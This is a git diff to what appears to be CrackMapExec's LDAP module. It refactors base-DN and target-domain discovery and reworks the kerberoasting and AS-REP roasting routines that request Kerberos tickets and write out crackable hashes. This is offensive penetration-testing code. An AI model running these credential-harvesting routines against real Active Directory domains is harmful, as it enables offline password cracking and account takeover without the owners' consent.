diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index e654cbb3..e1544aab 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -24,6 +24,7 @@ import argparse from io import StringIO from pywerview.cli.helpers import * from pywerview.requester import RPCRequester +import re ldap_error_status = { "533":"STATUS_ACCOUNT_DISABLED", @@ -63,6 +64,7 @@ class ldap(connection): self.lmhash = '' self.nthash = '' self.baseDN = '' + self.targetDomain = '' self.remote_ops = None self.bootkey = None self.output_filename = None @@ -80,7 +82,6 @@ class ldap(connection): ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") - ldap_parser.add_argument("--basedn", type=str, default=None, help='Ldap base DN') no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(argparse._StoreTrueAction), make_required=[], help='No smb connection') dgroup = ldap_parser.add_mutually_exclusive_group() @@ -109,27 +110,31 @@ class ldap(connection): 'hostname': self.hostname }) - def get_baseDN(self, host): + def get_ldap_info(self, host): try: ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % host) - resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext'], sizeLimit=0) + resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue + target = None + targetDomain = None + baseDN = None try: for attribute in item['attributes']: if str(attribute['type']) == 'defaultNamingContext': baseDN = str(attribute['vals'][0]) - self.logger.info(u'Discovered baseDN {}'.format(baseDN)) - return baseDN + targetDomain = re.sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=re.I)[3:] + if str(attribute['type']) == 'dnsHostName': + target = str(attribute['vals'][0]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) except OSError as e: self.logger.error(u'Error connecting to the host.') - return '' + return [target, targetDomain, baseDN] def get_os_arch(self): try: @@ -233,17 +238,12 @@ class ldap(connection): return True def kerberos_login(self, domain, aesKey, kdcHost): - # Get the baseDN - self.baseDN = self.get_baseDN(self.host) if not self.args.basedn else self.args.basedn - if self.baseDN == '': # Last resort - for i in self.domain.split('.'): - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] + # Get ldap info (target, targetDomain, baseDN) + target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) try: # Connect to LDAP - self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % self.host, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN) self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=kdcHost) @@ -267,7 +267,7 @@ class ldap(connection): if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL # Connect to LDAPS - self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.host, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN) self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, kdcHost=kdcHost) @@ -302,13 +302,8 @@ class ldap(connection): self.password = password self.domain = domain - # Get the baseDN - self.baseDN = self.get_baseDN(self.host) if not self.args.basedn else self.args.basedn - if self.baseDN == '': # Last resort - for i in self.domain.split('.'): - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] + # Get ldap info (target, targetDomain, baseDN) + target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) if self.password == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) @@ -320,7 +315,7 @@ class ldap(connection): try: # Connect to LDAP - self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % self.host, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() @@ -343,7 +338,7 @@ class ldap(connection): # We need to try SSL try: # Connect to LDAPS - self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.host, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() @@ -399,13 +394,8 @@ class ldap(connection): self.username = username self.domain = domain - # Get the baseDN - self.baseDN = self.get_baseDN(self.host) if not self.args.basedn else self.args.basedn - if self.baseDN == '': # Last resort - for i in self.domain.split('.'): - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] + # Get ldap info (target, targetDomain, baseDN) + target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) if self.hash == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) @@ -417,7 +407,7 @@ class ldap(connection): try: # Connect to LDAP - self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % self.host, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() @@ -438,7 +428,7 @@ class ldap(connection): if str(e).find('strongerAuthRequired') >= 0: try: # We need to try SSL - self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.host, self.baseDN) + self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() @@ -654,7 +644,9 @@ class ldap(connection): (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) - if resp: + if resp == []: + self.logger.highlight("No entries found!") + elif resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) @@ -702,7 +694,8 @@ class ldap(connection): else: self.logger.highlight("No entries found!") return - self.logger.error("Error with the LDAP account used") + else: + self.logger.error("Error with the LDAP account used") def kerberoasting(self): # Building the search filter @@ -710,7 +703,9 @@ class ldap(connection): "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) - if resp: + if resp == []: + self.logger.highlight("No entries found!") + elif resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) @@ -767,13 +762,18 @@ class ldap(connection): dejavue = [] for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: if sAMAccountName not in dejavue: + downLevelLogonName = self.targetDomain + "\\" + sAMAccountName + try: - serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain, + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value + principalName.components = [downLevelLogonName] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) - r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, SPN) + r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName) self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon)) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: @@ -781,7 +781,7 @@ class ldap(connection): dejavue.append(sAMAccountName) except Exception as e: logging.debug("Exception:", exc_info=True) - logging.error('SPN: %s - %s' % (SPN,str(e))) + logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) return True else: self.logger.highlight("No entries found!") @@ -957,3 +957,4 @@ class ldap(connection): + diff --git a/cme/protocols/ldap/kerberos.py b/cme/protocols/ldap/kerberos.py index e142767a..17b9af20 100644 --- a/cme/protocols/ldap/kerberos.py +++ b/cme/protocols/ldap/kerberos.py @@ -23,6 +23,7 @@ class KerberosAttacks: self.username = connection.username self.password = connection.password self.domain = connection.domain + self.targetDomain = connection.targetDomain self.hash = connection.hash self.lmhash = '' self.nthash = '' @@ -142,7 +143,7 @@ class KerberosAttacks: asReq = AS_REQ() - domain = self.domain.upper() + domain = self.targetDomain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() @@ -214,4 +215,4 @@ class KerberosAttacks: hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) - return hash_TGT \ No newline at end of file + return hash_TGT